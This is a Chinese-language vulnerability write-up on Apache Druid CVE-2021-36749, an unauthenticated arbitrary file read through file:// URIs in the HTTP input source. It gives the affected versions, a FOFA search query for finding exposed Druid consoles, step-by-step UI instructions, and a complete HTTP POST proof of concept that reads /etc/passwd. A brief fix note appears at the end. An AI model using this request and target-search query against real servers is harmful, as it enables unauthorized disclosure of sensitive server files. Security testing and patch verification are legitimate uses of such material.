Apache Druid LoadData 任意文件读取漏洞-CVE-2021-36749

漏洞原理：

由于用户指定 HTTP InputSource 没有做出限制，可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证，攻击者可利用该漏洞在未授权情况下，构造恶意请求执行文件读取，最终造成服务器敏感性信息泄露。

影响版本：

Apache Druid Version < 0.22

fofa语法：

title="Apache Druid"

漏洞测试：

主界面–>Load data –>HTTP(s)–>Connect Data–>URIs(使用file://协议进行读取)

 

 

 

 

file:///bin/

 

 

 

file:///etc/passwd

 

 

 

 POC:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 413
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json;charset=UTF-8
Referer: http://127.0.0.1:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"regex","pattern":"(.*)","columns":["a"],"dimensionsSpec":{},"timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"2010-01-01T00:00:00Z"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

 

修复方法：

升级版本，设置访问权限

参考：

https://www.cnblogs.com/cn-gov/p/15572281.html

https://github.com/BrucessKING/CVE-2021-36749